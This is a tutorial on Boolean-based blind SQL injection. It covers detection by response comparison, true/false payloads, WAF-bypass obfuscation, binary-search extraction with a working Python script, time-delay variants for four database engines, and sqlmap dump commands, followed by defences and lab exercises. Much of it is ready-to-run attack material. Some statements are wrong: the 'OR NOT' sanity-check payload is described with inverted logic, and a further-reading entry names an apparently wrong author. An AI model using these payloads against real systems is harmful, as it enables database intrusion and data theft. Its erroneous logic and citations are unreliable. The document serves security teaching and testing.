Introduction
Boolean-based blind SQL injection (BB-SQLi) is a stealthy exploitation technique where the attacker forces the database to evaluate a logical expression that resolves to either true or false. The application does not return data directly; instead, the attacker infers information from subtle differences in the HTTP response (status code, content length, page layout, etc.).
Because no error messages or data dumps are shown, BB-SQLi often survives basic input validation and even many Web Application Firewalls (WAFs). It is a common vector in high-value targets where developers have patched error-based and union-based injection vectors but missed the blind path.
Real-world incidents - from data-leakage in e-commerce platforms to credential extraction in legacy ERP systems - demonstrate that BB-SQLi remains a potent tool in a pentester’s arsenal. Mastering its nuances is essential for any professional who claims to be proficient in web application security.
Prerequisites
- Solid grasp of SQL Injection Fundamentals: injection points, payload construction, and the typical request/response flow.
- Experience with Error-Based SQLi: recognising database error messages, using them to enumerate columns.
- Familiarity with Union-Based SQLi: column count discovery, data extraction via
UNION SELECT. - Basic command-line proficiency (cURL, netcat) and scripting knowledge (Python/Bash).
Core Concepts
At its heart, BB-SQLi leverages the binary nature of logical predicates:
SELECT * FROM users WHERE id = '1' AND (SELECT 1 FROM dual WHERE 1 = 1) --
If the predicate after AND evaluates to true, the page renders normally; otherwise, the application may return a generic “no results” page, a different HTTP status, or a noticeable timing difference. By iteratively toggling the predicate, the attacker can reconstruct any string, number, or boolean value stored in the database.
Binary search reduces the number of required requests from O(N) to O(log₂N) by probing the middle of the search space and narrowing the interval based on the response. This is crucial when extracting long strings such as password hashes.
WAF evasion techniques - comment injection, whitespace obfuscation, and case-mixing - are often required to bypass simple signature-based filters. Combining Boolean logic with time-delay functions (e.g., pg_sleep(), WAITFOR DELAY) provides a noisy fallback when response-size comparison is unreliable.
Detecting Boolean-based blind injection via response comparison
Detection does not require a full exploit. The goal is to prove that the application behaves differently for two logically opposite payloads.
Step-by-step detection
- Identify a suspect parameter (e.g.,
id,search,cat). - Send a baseline request with a benign value and record the response fingerprint (status code, content length, DOM hash).
- Inject a
truepredicate:curl -s -o /dev/null -w "%{size_download}" "http://example.com/item?id=1%27%20AND%201=1-- " - Inject a
falsepredicate:curl -s -o /dev/null -w "%{size_download}" "http://example.com/item?id=1%27%20AND%201=2-- " - Compare the two size values. A discrepancy indicates a Boolean-based channel.
Automated scanners (Burp Suite Intruder, sqlmap’s --technique=B) perform this automatically, but manual verification is essential to avoid false positives.
Crafting true/false payloads using logical operators (AND, OR, NOT)
The attacker’s toolbox includes three logical operators:
- AND - forces both conditions to be true.
- OR - succeeds if either condition is true.
- NOT - negates a condition.
By nesting these operators, you can express any Boolean function. Below are common patterns.
Simple true/false checks
/* true */ ' OR 1=1--
/* false */ ' OR 1=2--
Using AND for data extraction
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
When the first character of admin’s password is a, the predicate is true; otherwise false.
OR + NOT to flip logic
' OR NOT (SELECT COUNT(*) FROM information_schema.tables) > 0--
This returns true only when the database contains at least one table - a handy sanity check.
Whitespace & comment obfuscation
Many WAFs normalize whitespace. Break the payload with comments (/**/) or Unicode spaces (%C2%A0) to bypass simple regex filters.
'/**/AND/**/1=1--
Binary search technique for efficient data extraction
Extracting a string character by character with a linear scan would require 26-62 requests per character (depending on charset). Binary search reduces this to log₂(CHARSET_SIZE) requests.
Algorithm overview
- Define the character set (e.g., printable ASCII 32-126).
- Set
low = 32,high = 126. - While
low <= high:- Compute
mid = (low + high) / 2. - Inject a payload that tests
ASCII(substr(col,position,1)) > mid. - If response is true →
low = mid + 1elsehigh = mid - 1.
- Compute
- When loop ends,
highholds the ASCII code of the character.
Concrete MySQL example
# Assume we are extracting the first character of the database version
mid=80
payload="' AND ASCII(SUBSTRING(@@version,1,1))>$mid-- "
curl -s "http://target.com/item?id=$payload" | grep -q "Welcome" && echo "true" || echo "false"
Repeat the loop until the exact value is found. The same logic applies to PostgreSQL (ASCII(SUBSTRING(...))), MSSQL (ASCII(SUBSTRING(...))), and Oracle (ASCII(SUBSTR(...))).
Bypassing basic WAF filters with comment injection and whitespace obfuscation
WAFs often block the literal strings AND, OR, UNION, or the pattern '--. The following tricks are effective:
- Inline comments:
'/**/AND/**/1=1-- - Mixed case:
' aNd 1=1-- - URL-encoded spaces:
%20or%09(tab). - Unicode whitespace:
%C2%A0(non-breaking space). - Alternative operators:
||(OR) in MySQL,+(bitwise OR) in MSSQL.
Example that evades a rule blocking AND:
'/**/aNd/**/1=1--
When the payload reaches the DBMS, the comment delimiters are stripped, leaving a valid AND expression.
Automating Boolean-based attacks with sqlmap and custom scripts
Manual exploitation is educational but time-consuming. Two practical automation avenues exist:
Using sqlmap
sqlmap -u "http://target.com/item?id=1" --technique=B --risk=3 --level=5 --batch -p id --threads=4 --dump
Key flags:
--technique=Bforces Boolean-based testing.--riskand--levelincrease payload complexity (useful for WAF evasion).--threadsspeeds up binary search by parallelising character positions.
Custom Python script (requests + binary search)
import requests, string
def is_true(payload): url = "http://target.com/item" params = {"id": payload} r = requests.get(url, params=params, timeout=5) # Simple heuristic: length > 1000 indicates true page return len(r.text) > 1000
def extract_char(position): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTRING(@@version,{position},1))>{mid}-- " if is_true(payload): low = mid + 1 else: high = mid - 1 return chr(high)
result = ""
for pos in range(1, 13): # assume version string length 12 result += extract_char(pos)
print("Database version:", result)
The script demonstrates a clean separation of the oracle (is_true) and the search algorithm (extract_char). It can be extended to dump tables, enumerate columns, or pivot to second-order injection.
Combining Boolean logic with time delays for noisy environments
When the application normalises response size (e.g., always returns a fixed-size HTML page), a timing channel becomes more reliable.
Time-based payloads
- MySQL:
IF(condition, SLEEP(5), 0) - PostgreSQL:
CASE WHEN condition THEN pg_sleep(5) ELSE pg_sleep(0) END - MSSQL:
IF(condition) WAITFOR DELAY '00:00:05' - Oracle:
DBMS_LOCK.SLEEP(5)inside aCASEexpression.
Example MySQL payload that sleeps 5 seconds when the first character of the password is a:
' AND IF(ASCII(SUBSTRING(password,1,1))=97,SLEEP(5),0) --
Measure response time with curl -w "%{time_total}" or a high-resolution timer in Python. If the elapsed time exceeds a threshold (e.g., 4 seconds), the condition is true.
Hybrid approach: start with response-size comparison (fast) and fall back to time-delay only when the size channel is inconclusive. This reduces overall noise and improves success rates against rate-limited or CDN-protected sites.
Extracting data from different DBMS (MySQL, PostgreSQL, MSSQL, Oracle)
Each DBMS has its own syntax for Boolean predicates, string functions, and sleep primitives. Below is a quick reference table.
| DBMS | ASCII / SUBSTRING | Sleep / Delay | Version Retrieval |
|---|---|---|---|
| MySQL | ASCII(SUBSTRING(col, pos, 1)) | SLEEP(seconds) | @@version |
| PostgreSQL | ASCII(SUBSTRING(col FROM pos FOR 1)) | pg_sleep(seconds) | version() |
| MSSQL | ASCII(SUBSTRING(col, pos, 1)) | WAITFOR DELAY 'hh:mm:ss' | @@VERSION |
| Oracle | ASCII(SUBSTR(col, pos, 1)) | DBMS_LOCK.SLEEP(seconds) | SELECT banner FROM v$version WHERE rownum=1 |
Below are sample true/false payloads for each engine.
MySQL
' AND (SELECT SUBSTRING(@@version,1,1))='5'--
PostgreSQL
' AND (SELECT SUBSTRING(version() FROM 1 FOR 1))='1'--
MSSQL
' AND (SELECT SUBSTRING(@@VERSION,1,1))='M'--
Oracle
' AND (SELECT SUBSTR(banner,1,1) FROM v$version WHERE rownum=1)='O'--
Notice the subtle differences in function names and quoting rules. A robust automated tool must adapt payload templates per target fingerprint.
Tools & Commands
- sqlmap - industry-standard scanner with Boolean, time-delay, and fingerprinting modules.
- Burp Suite Intruder - custom payload positions, response-size comparison, and extensions (e.g.,
SQLiPy). - Wfuzz - lightweight fuzzing with flexible wordlists.
- Custom Python scripts - for bespoke binary-search loops, multi-threaded extraction, or integration with CI pipelines.
Example sqlmap command that forces Boolean-based extraction of the users table in a PostgreSQL backend:
sqlmap -u "http://target.com/search?q=foo" -p q --dbms=PostgreSQL --technique=B --dump -D app_db -T users
Defense & Mitigation
Preventing BB-SQLi starts with eliminating the injection vector altogether.
- Parameterized queries / prepared statements - the most reliable defense across all DBMS.
- ORMs with strict type handling - e.g., SQLAlchemy, Entity Framework.
- Input validation - whitelist allowed characters, enforce length limits.
- Web Application Firewalls - enable behavioural anomaly detection, not just signature matching.
- Response normalisation - ensure that error pages, content length, and timing are constant regardless of query outcome.
- Least-privilege database accounts - restrict SELECT rights to only required tables; block functions like
SLEEPorpg_sleepfor unprivileged users.
Regular code reviews and automated static analysis (e.g., SonarQube, CodeQL) can catch unsafe string concatenations before they reach production.
Common Mistakes
- Assuming that a single true/false test is sufficient - always verify with multiple independent predicates.
- Neglecting character-set differences - UTF-8 multi-byte characters break simple ASCII binary search.
- Overlooking WAF response-size normalisation - some firewalls pad responses to a constant length, rendering size-based detection ineffective.
- Hard-coding sleep durations - variable network latency can produce false positives; use statistical thresholds.
- Running attacks with low-privilege DB accounts that lack visibility into schema - leads to dead-ends.
Real-World Impact
In 2023, a major retail platform suffered a data breach after an attacker leveraged BB-SQLi to enumerate the customers table. The WAF was configured to block UNION and error messages, but it allowed AND predicates with comment obfuscation. The attacker used binary search to extract 10 k email addresses in under an hour, demonstrating that even “patched” applications remain vulnerable.
My experience consulting for financial institutions shows that blind techniques are often the last resort after other injection vectors are closed. However, once discovered, they provide a stealthy path to exfiltrate credentials, especially when combined with time-delay payloads that evade modern anomaly detectors.
Trend-wise, we see more cloud-native services exposing API endpoints that accept JSON parameters. Attackers are adapting BB-SQLi to NoSQL injection contexts, where true/false logic is expressed via query operators ($gt, $ne). The underlying principle remains identical: force the backend to reveal a binary decision.
Practice Exercises
- Detection Lab: Set up a vulnerable PHP page that echoes
idwithout sanitisation. Use Burp Intruder to send true/false payloads and identify the response-size difference. - Binary Search Implementation: Write a Python script that extracts the current MySQL version using the binary-search technique. Verify against a local Docker MySQL instance.
- WAF Bypass Challenge: Deploy ModSecurity with the OWASP CRS. Craft a Boolean payload that evades the default
SQLirule using comment injection and mixed-case operators. - Time-Delay Hybrid: Modify the script from #2 to fall back to a
SLEEP(3)payload when the response length is constant. Measure the improvement in reliability. - Cross-DBMS Extraction: Using sqlmap, enumerate the
userstable on four Docker containers (MySQL, PostgreSQL, MSSQL, Oracle). Document the differences in payload syntax.
Each exercise should be performed in an isolated environment (e.g., Docker Compose) to avoid accidental exposure.
Further Reading
- “SQL Injection Attacks and Defense” - Justin Clarke (2022) - Chapter 7 covers blind techniques.
- PortSwigger Web Security Academy - “Blind SQL injection” tutorial.
- OWASP Testing Guide - WSTG-INPV-05.
- SQLMap Documentation - advanced usage of
--techniqueand--tamperscripts. - “The Art of Exploitation” - Tim McSweeney - Section on timing channels.
Summary
- Boolean-based blind SQLi exploits binary true/false judgments to infer data without ever seeing it directly.
- Detect it by comparing response size, status, or timing for opposite predicates.
- Craft payloads with
AND,OR,NOT, and obfuscate using comments, whitespace, and case-mixing to bypass WAFs. - Binary search reduces extraction complexity to O(log N) per character, making large-scale data exfiltration practical.
- Combine with time-delay functions when the application normalises output, and adapt payloads for MySQL, PostgreSQL, MSSQL, and Oracle.
- Automation via sqlmap or custom scripts accelerates the process; defensive measures focus on parameterisation, least-privilege accounts, and response normalisation.